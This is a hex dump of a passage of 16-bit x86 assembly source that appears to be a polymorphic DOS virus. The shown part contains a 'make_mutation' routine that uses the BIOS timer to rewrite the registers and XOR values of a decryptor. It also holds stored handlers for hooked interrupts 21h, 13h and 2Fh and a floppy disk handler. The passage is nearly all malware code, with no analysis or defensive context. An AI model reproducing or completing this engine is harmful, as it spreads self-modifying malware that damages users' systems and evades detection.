|00004e10| 70 75 73 68 09 64 69 0d | 0a 09 70 75 73 68 09 62 |push.di.|..push.b|
|00004e20| 70 0d 0a 09 70 75 73 68 | 09 64 73 0d 0a 09 70 75 |p...push|.ds...pu|
|00004e30| 73 68 09 65 73 0d 0a 09 | 6a 6d 70 09 77 6f 72 64 |sh.es...|jmp.word|
|00004e40| 20 70 74 72 20 63 73 3a | 5b 72 65 74 5f 61 64 64 | ptr cs:|[ret_add|
|00004e50| 72 2d 61 64 6a 75 73 74 | 5d 0d 0a 0d 0a 70 6f 70 |r-adjust|]....pop|
|00004e60| 61 3a 0d 0a 09 70 6f 70 | 09 77 6f 72 64 20 70 74 |a:...pop|.word pt|
|00004e70| 72 20 63 73 3a 5b 72 65 | 74 5f 61 64 64 72 2d 61 |r cs:[re|t_addr-a|
|00004e80| 64 6a 75 73 74 5d 0d 0a | 09 70 6f 70 09 65 73 0d |djust]..|.pop.es.|
|00004e90| 0a 09 70 6f 70 09 64 73 | 0d 0a 09 70 6f 70 09 62 |..pop.ds|...pop.b|
|00004ea0| 70 0d 0a 09 70 6f 70 09 | 64 69 0d 0a 09 70 6f 70 |p...pop.|di...pop|
|00004eb0| 09 73 69 0d 0a 09 70 6f | 70 09 64 78 0d 0a 09 70 |.si...po|p.dx...p|
|00004ec0| 6f 70 09 63 78 0d 0a 09 | 70 6f 70 09 62 78 0d 0a |op.cx...|pop.bx..|
|00004ed0| 09 70 6f 70 09 61 78 0d | 0a 09 70 6f 70 66 0d 0a |.pop.ax.|..popf..|
|00004ee0| 09 6a 6d 70 09 77 6f 72 | 64 20 70 74 72 20 63 73 |.jmp.wor|d ptr cs|
|00004ef0| 3a 5b 72 65 74 5f 61 64 | 64 72 2d 61 64 6a 75 73 |:[ret_ad|dr-adjus|
|00004f00| 74 5d 0d 0a 0d 0a 6d 61 | 6b 65 5f 6d 75 74 61 74 |t]....ma|ke_mutat|
|00004f10| 69 6f 6e 3a 0d 0a 0d 0a | 20 20 20 20 20 20 20 20 |ion:....| |
|00004f20| 73 75 62 20 20 20 20 20 | 61 78 2c 61 78 0d 0a 09 |sub |ax,ax...|
|00004f30| 6d 6f 76 09 64 73 2c 61 | 78 0d 0a 09 6d 6f 76 09 |mov.ds,a|x...mov.|
|00004f40| 61 78 2c 5b 30 34 36 43 | 5d 0d 0a 09 6f 72 09 61 |ax,[046C|]...or.a|
|00004f50| 6c 2c 61 6c 0d 0a 09 63 | 6c 63 0d 0a 09 6a 6e 7a |l,al...c|lc...jnz|
|00004f60| 09 67 6f 6f 64 5f 76 61 | 6c 75 65 0d 0a 09 69 6e |.good_va|lue...in|
|00004f70| 63 09 61 6c 0d 0a 09 73 | 74 63 0d 0a 0d 0a 67 6f |c.al...s|tc....go|
|00004f80| 6f 64 5f 76 61 6c 75 65 | 3a 0d 0a 0d 0a 09 70 75 |od_value|:.....pu|
|00004f90| 73 68 09 63 73 0d 0a 09 | 70 6f 70 09 64 73 0d 0a |sh.cs...|pop.ds..|
|00004fa0| 0d 0a 09 6d 6f 76 09 62 | 79 74 65 20 70 74 72 20 |...mov.b|yte ptr |
|00004fb0| 5b 78 6f 72 76 61 6c 75 | 65 2d 61 64 6a 75 73 74 |[xorvalu|e-adjust|
|00004fc0| 5d 2c 61 6c 0d 0a 09 6a | 6e 63 09 77 65 6c 6c 5f |],al...j|nc.well_|
|00004fd0| 6f 6b 0d 0a 09 64 65 63 | 09 61 6c 0d 0a 0d 0a 77 |ok...dec|.al....w|
|00004fe0| 65 6c 6c 5f 6f 6b 3a 0d | 0a 0d 0a 09 61 6e 64 09 |ell_ok:.|....and.|
|00004ff0| 61 6c 2c 30 31 31 31 62 | 09 3b 42 58 2c 53 49 2c |al,0111b|.;BX,SI,|
|00005000| 44 49 2c 42 50 0d 0a 09 | 6f 72 09 61 6c 2c 30 31 |DI,BP...|or.al,01|
|00005010| 30 30 62 0d 0a 0d 0a 09 | 63 6d 70 09 61 6c 2c 30 |00b.....|cmp.al,0|
|00005020| 31 30 30 62 0d 0a 09 6a | 6e 65 09 6f 6b 72 65 67 |100b...j|ne.okreg|
|00005030| 0d 0a 09 69 6e 63 09 61 | 6c 0d 0a 0d 0a 6f 6b 72 |...inc.a|l....okr|
|00005040| 65 67 3a 0d 0a 0d 0a 09 | 61 6e 64 09 62 79 74 65 |eg:.....|and.byte|
|00005050| 20 70 74 72 20 5b 70 6f | 70 72 65 67 2d 61 64 6a | ptr [po|preg-adj|
|00005060| 75 73 74 5d 2c 31 31 31 | 31 31 30 30 30 62 0d 0a |ust],111|11000b..|
|00005070| 09 6f 72 09 62 79 74 65 | 20 70 74 72 20 5b 70 6f |.or.byte| ptr [po|
|00005080| 70 72 65 67 2d 61 64 6a | 75 73 74 5d 2c 61 6c 0d |preg-adj|ust],al.|
|00005090| 0a 0d 0a 09 61 6e 64 09 | 62 79 74 65 20 70 74 72 |....and.|byte ptr|
|000050a0| 20 5b 61 64 64 74 6f 72 | 65 67 2d 61 64 6a 75 73 | [addtor|eg-adjus|
|000050b0| 74 5d 2c 31 31 31 31 31 | 30 30 30 62 0d 0a 09 6f |t],11111|000b...o|
|000050c0| 72 09 62 79 74 65 20 70 | 74 72 20 5b 61 64 64 74 |r.byte p|tr [addt|
|000050d0| 6f 72 65 67 2d 61 64 6a | 75 73 74 5d 2c 61 6c 0d |oreg-adj|ust],al.|
|000050e0| 0a 0d 0a 09 61 6e 64 09 | 62 79 74 65 20 70 74 72 |....and.|byte ptr|
|000050f0| 20 5b 69 6e 63 6d 61 69 | 6e 2d 61 64 6a 75 73 74 | [incmai|n-adjust|
|00005100| 5d 2c 31 31 31 31 31 30 | 30 30 62 0d 0a 09 6f 72 |],111110|00b...or|
|00005110| 09 62 79 74 65 20 70 74 | 72 20 5b 69 6e 63 6d 61 |.byte pt|r [incma|
|00005120| 69 6e 2d 61 64 6a 75 73 | 74 5d 2c 61 6c 0d 0a 0d |in-adjus|t],al...|
|00005130| 0a 09 61 6e 64 09 62 79 | 74 65 20 70 74 72 20 5b |..and.by|te ptr [|
|00005140| 70 75 73 68 72 65 67 2d | 61 64 6a 75 73 74 5d 2c |pushreg-|adjust],|
|00005150| 31 31 31 31 31 30 30 30 | 62 0d 0a 09 6f 72 09 62 |11111000|b...or.b|
|00005160| 79 74 65 20 70 74 72 20 | 5b 70 75 73 68 72 65 67 |yte ptr |[pushreg|
|00005170| 2d 61 64 6a 75 73 74 5d | 2c 61 6c 0d 0a 0d 0a 09 |-adjust]|,al.....|
|00005180| 63 61 6c 6c 09 61 64 6a | 75 73 74 72 65 67 0d 0a |call.adj|ustreg..|
|00005190| 0d 0a 09 61 6e 64 09 62 | 79 74 65 20 70 74 72 20 |...and.b|yte ptr |
|000051a0| 5b 78 6f 72 72 65 67 2d | 61 64 6a 75 73 74 5d 2c |[xorreg-|adjust],|
|000051b0| 31 31 31 31 31 30 30 30 | 62 0d 0a 09 6f 72 09 62 |11111000|b...or.b|
|000051c0| 79 74 65 20 70 74 72 20 | 5b 78 6f 72 72 65 67 2d |yte ptr |[xorreg-|
|000051d0| 61 64 6a 75 73 74 5d 2c | 61 6c 0d 0a 0d 0a 09 61 |adjust],|al.....a|
|000051e0| 6e 64 09 61 68 2c 30 30 | 31 31 62 09 3b 41 58 2c |nd.ah,00|11b.;AX,|
|000051f0| 43 58 2c 44 58 0d 0a 09 | 63 6d 70 09 61 68 2c 30 |CX,DX...|cmp.ah,0|
|00005200| 30 31 31 62 09 3b 30 30 | 2c 30 31 2c 30 32 0d 0a |011b.;00|,01,02..|
|00005210| 09 6a 6e 65 09 6f 6b 72 | 65 67 32 0d 0a 09 64 65 |.jne.okr|eg2...de|
|00005220| 63 09 61 68 0d 0a 6f 6b | 72 65 67 32 3a 0d 0a 0d |c.ah..ok|reg2:...|
|00005230| 0a 09 61 6e 64 09 62 79 | 74 65 20 70 74 72 20 5b |..and.by|te ptr [|
|00005240| 6c 6f 61 64 63 6f 75 6e | 74 2d 61 64 6a 75 73 74 |loadcoun|t-adjust|
|00005250| 5d 2c 31 31 31 31 31 30 | 30 30 62 0d 0a 09 6f 72 |],111110|00b...or|
|00005260| 09 62 79 74 65 20 70 74 | 72 20 5b 6c 6f 61 64 63 |.byte pt|r [loadc|
|00005270| 6f 75 6e 74 2d 61 64 6a | 75 73 74 5d 2c 61 68 0d |ount-adj|ust],ah.|
|00005280| 0a 0d 0a 09 61 6e 64 09 | 62 79 74 65 20 70 74 72 |....and.|byte ptr|
|00005290| 20 5b 64 65 63 63 6f 75 | 6e 74 2d 61 64 6a 75 73 | [deccou|nt-adjus|
|000052a0| 74 5d 2c 31 31 31 31 31 | 30 30 30 62 0d 0a 09 6f |t],11111|000b...o|
|000052b0| 72 09 62 79 74 65 20 70 | 74 72 20 5b 64 65 63 63 |r.byte p|tr [decc|
|000052c0| 6f 75 6e 74 2d 61 64 6a | 75 73 74 5d 2c 61 68 0d |ount-adj|ust],ah.|
|000052d0| 0a 0d 0a 09 6d 6f 76 09 | 61 78 2c 77 6f 72 64 20 |....mov.|ax,word |
|000052e0| 70 74 72 20 5b 46 69 72 | 73 74 5f 69 6e 73 74 72 |ptr [Fir|st_instr|
|000052f0| 2d 61 64 6a 75 73 74 5d | 0d 0a 09 78 63 68 67 09 |-adjust]|...xchg.|
|00005300| 61 68 2c 61 6c 0d 0a 09 | 6d 6f 76 09 77 6f 72 64 |ah,al...|mov.word|
|00005310| 20 70 74 72 20 5b 46 69 | 72 73 74 5f 69 6e 73 74 | ptr [Fi|rst_inst|
|00005320| 72 2d 61 64 6a 75 73 74 | 5d 2c 61 78 0d 0a 0d 0a |r-adjust|],ax....|
|00005330| 09 72 65 74 0d 0a 0d 0a | 0d 0a 61 64 6a 75 73 74 |.ret....|..adjust|
|00005340| 72 65 67 3a 0d 0a 0d 0a | 09 63 6d 70 09 61 6c 2c |reg:....|.cmp.al,|
|00005350| 30 30 31 31 62 0d 0a 09 | 6a 65 09 61 62 78 0d 0a |0011b...|je.abx..|
|00005360| 09 63 6d 70 09 61 6c 2c | 30 31 30 31 62 0d 0a 09 |.cmp.al,|0101b...|
|00005370| 6a 65 09 61 62 70 0d 0a | 09 63 6d 70 09 61 6c 2c |je.abp..|.cmp.al,|
|00005380| 30 31 31 30 62 0d 0a 09 | 6a 65 09 61 73 69 0d 0a |0110b...|je.asi..|
|00005390| 09 6d 6f 76 09 61 6c 2c | 30 31 30 31 62 0d 0a 09 |.mov.al,|0101b...|
|000053a0| 72 65 74 0d 0a 61 62 78 | 3a 0d 0a 09 6d 6f 76 09 |ret..abx|:...mov.|
|000053b0| 61 6c 2c 30 31 31 31 62 | 0d 0a 09 72 65 74 0d 0a |al,0111b|...ret..|
|000053c0| 61 62 70 3a 0d 0a 09 6d | 6f 76 09 61 6c 2c 30 31 |abp:...m|ov.al,01|
|000053d0| 31 30 62 0d 0a 09 72 65 | 74 0d 0a 61 73 69 3a 0d |10b...re|t..asi:.|
|000053e0| 0a 09 6d 6f 76 09 61 6c | 2c 30 31 30 30 62 0d 0a |..mov.al|,0100b..|
|000053f0| 09 72 65 74 0d 0a 0d 0a | 0d 0a 6d 73 67 3a 0d 0a |.ret....|..msg:..|
|00005400| 0d 0a 46 69 72 73 74 5f | 31 38 3a 0d 0a 0d 0a 09 |..First_|18:.....|
|00005410| 72 65 74 0d 0a 09 64 62 | 09 31 37 09 64 75 70 20 |ret...db|.17.dup |
|00005420| 28 3f 29 0d 0a 0d 0a 0d | 0a 65 6e 64 63 6f 64 65 |(?).....|.endcode|
|00005430| 20 6c 61 62 65 6c 09 77 | 6f 72 64 0d 0a 0d 0a 09 | label.w|ord.....|
|00005440| 63 75 72 72 65 6e 74 5f | 32 31 68 09 64 64 20 3f |current_|21h.dd ?|
|00005450| 0d 0a 09 63 75 72 72 65 | 6e 74 5f 31 33 68 09 64 |...curre|nt_13h.d|
|00005460| 64 20 3f 0d 0a 09 6f 72 | 67 5f 32 66 68 20 64 64 |d ?...or|g_2fh dd|
|00005470| 09 3f 0d 0a 09 6f 72 67 | 5f 31 33 68 20 64 64 09 |.?...org|_13h dd.|
|00005480| 3f 0d 0a 09 6f 72 67 5f | 32 31 68 20 64 64 09 3f |?...org_|21h dd.?|
|00005490| 0d 0a 09 46 6c 6f 70 70 | 79 5f 6f 72 67 5f 31 33 |...Flopp|y_org_13|
|000054a0| 68 09 64 64 20 3f 0d 0a | 09 66 6c 61 67 09 64 62 |h.dd ?..|.flag.db|
|000054b0| 09 3f 09 3b 30 66 66 20 | 69 66 20 65 72 72 6f 72 |.?.;0ff |if error|
|000054c0| 20 6f 63 63 75 72 65 8c | f2 0a 09 76 65 72 69 09 | occure.|...veri.|
|000054d0| 64 62 09 3f 0d 0a 09 68 | 61 6e 64 6c 65 09 64 77 |db.?...h|andle.dw|
|000054e0| 09 3f 0d 0a 09 66 6e 61 | 6d 65 09 64 62 09 38 2b |.?...fna|me.db.8+|
|000054f0| 33 20 64 75 70 20 28 3f | 29 0d 0a 09 66 75 6e 63 |3 dup (?|)...func|
|00005500| 74 69 6f 6e 20 64 62 09 | 3f 0d 0a 09 6d 79 5f 66 |tion db.|?...my_f|
|00005510| 6c 61 67 20 64 62 20 3f | 0d 0a 09 6c 69 6d 69 74 |lag db ?|...limit|
|00005520| 09 09 64 77 20 3f 0d 0a | 09 6d 65 6d 5f 09 09 64 |..dw ?..|.mem_..d|
|00005530| 77 20 3f 0d 0a 09 6e 65 | 78 74 5f 66 6c 61 67 09 |w ?...ne|xt_flag.|
|00005540| 64 62 20 3f 0d 0a 09 72 | 65 74 5f 61 64 64 72 09 |db ?...r|et_addr.|
|00005550| 64 77 20 3f 0d 0a 0d 0a | 62 75 66 66 65 72 09 6c |dw ?....|buffer.l|
|00005560| 61 62 65 6c 09 77 6f 72 | 64 0d 0a 0d 0a 20 0a 0a |abel.wor|d.... ..|
+--------+-------------------------+-------------------------+--------+--------+